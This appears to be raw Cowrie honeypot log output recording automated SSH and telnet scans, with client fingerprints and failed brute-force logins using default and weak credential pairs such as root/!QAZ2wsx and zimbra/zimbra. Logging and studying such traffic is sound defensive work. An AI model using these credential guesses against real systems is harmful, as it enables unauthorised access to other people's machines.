{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:09.624077Z","src_ip":"192.109.200.237","session":"8a84ffe55cd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:09.874458Z","src_ip":"192.109.200.237","session":"8a84ffe55cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:10.960467Z","src_ip":"192.109.200.237","session":"8a84ffe55cd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.04015588760376,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:10.981596Z","src_ip":"209.127.178.212","session":"d51b42473d17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36874,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d9b3e3207b8","protocol":"telnet","message":"New connection: 152.42.224.71:36874 (10.17.0.5:23) [session: 2d9b3e3207b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:11.981488Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56564,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f5ef122f5ea","protocol":"ssh","message":"New connection: 192.109.200.237:56564 (159.203.135.109:22) [session: 4f5ef122f5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:12.987631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:12.999107Z","src_ip":"192.109.200.237","session":"4f5ef122f5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:13.082442Z","src_ip":"192.109.200.237","session":"4f5ef122f5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser123","message":"login attempt [ftpuser/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:13.330980Z","src_ip":"192.109.200.237","session":"4f5ef122f5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":42492,"dst_ip":"10.17.0.5","dst_port":22,"session":"e81b6cc63c10","protocol":"ssh","message":"New connection: 43.153.37.39:42492 (10.17.0.5:22) [session: e81b6cc63c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:13.449626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:13.455230Z","src_ip":"43.153.37.39","session":"e81b6cc63c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:13.525043Z","src_ip":"43.153.37.39","session":"e81b6cc63c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"12345","message":"login attempt [test_user/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:13.836377Z","src_ip":"43.153.37.39","session":"e81b6cc63c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:14.416366Z","src_ip":"192.109.200.237","session":"4f5ef122f5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:14.909679Z","src_ip":"43.153.37.39","session":"e81b6cc63c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56572,"dst_ip":"159.203.135.109","dst_port":22,"session":"570b0fa4b3e9","protocol":"ssh","message":"New connection: 192.109.200.237:56572 (159.203.135.109:22) [session: 570b0fa4b3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:16.221813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:16.231821Z","src_ip":"192.109.200.237","session":"570b0fa4b3e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:16.315604Z","src_ip":"192.109.200.237","session":"570b0fa4b3e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zimbra","password":"zimbra","message":"login attempt [zimbra/zimbra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:16.564523Z","src_ip":"192.109.200.237","session":"570b0fa4b3e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50548,"dst_ip":"10.17.0.5","dst_port":23,"session":"8024908cd921","protocol":"telnet","message":"New connection: 152.42.224.71:50548 (10.17.0.5:23) [session: 8024908cd921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:16.909228Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:17.650284Z","src_ip":"192.109.200.237","session":"570b0fa4b3e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50564,"dst_ip":"10.17.0.5","dst_port":23,"session":"52eaa72388d6","protocol":"telnet","message":"New connection: 152.42.224.71:50564 (10.17.0.5:23) [session: 52eaa72388d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:18.594691Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56578,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8460c6e3e06","protocol":"ssh","message":"New connection: 192.109.200.237:56578 (159.203.135.109:22) [session: a8460c6e3e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:19.562685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:19.568815Z","src_ip":"192.109.200.237","session":"a8460c6e3e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:19.651922Z","src_ip":"192.109.200.237","session":"a8460c6e3e06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:20.072593Z","src_ip":"192.109.200.237","session":"a8460c6e3e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:21.158131Z","src_ip":"192.109.200.237","session":"a8460c6e3e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41252,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda088071b32","protocol":"ssh","message":"New connection: 192.109.200.237:41252 (159.203.135.109:22) [session: bda088071b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:23.060001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:23.064969Z","src_ip":"192.109.200.237","session":"bda088071b32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:23.147722Z","src_ip":"192.109.200.237","session":"bda088071b32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:23.393404Z","src_ip":"192.109.200.237","session":"bda088071b32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:24.479029Z","src_ip":"192.109.200.237","session":"bda088071b32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41258,"dst_ip":"159.203.135.109","dst_port":22,"session":"b65623051d72","protocol":"ssh","message":"New connection: 192.109.200.237:41258 (159.203.135.109:22) [session: b65623051d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:26.329307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:26.334116Z","src_ip":"192.109.200.237","session":"b65623051d72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:26.416030Z","src_ip":"192.109.200.237","session":"b65623051d72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:26.664995Z","src_ip":"192.109.200.237","session":"b65623051d72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:27.751446Z","src_ip":"192.109.200.237","session":"b65623051d72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":41266,"dst_ip":"159.203.135.109","dst_port":22,"session":"c70c9cb9be50","protocol":"ssh","message":"New connection: 192.109.200.237:41266 (159.203.135.109:22) [session: c70c9cb9be50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:29.652485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:29.657932Z","src_ip":"192.109.200.237","session":"c70c9cb9be50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:29.740090Z","src_ip":"192.109.200.237","session":"c70c9cb9be50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:30.153622Z","src_ip":"192.109.200.237","session":"c70c9cb9be50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:31.239897Z","src_ip":"192.109.200.237","session":"c70c9cb9be50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35018,"dst_ip":"159.203.135.109","dst_port":22,"session":"607e7ce0b957","protocol":"ssh","message":"New connection: 192.109.200.237:35018 (159.203.135.109:22) [session: 607e7ce0b957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:33.192305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:09:33.196337Z","src_ip":"192.109.200.237","session":"607e7ce0b957","protocol":"ssh"}
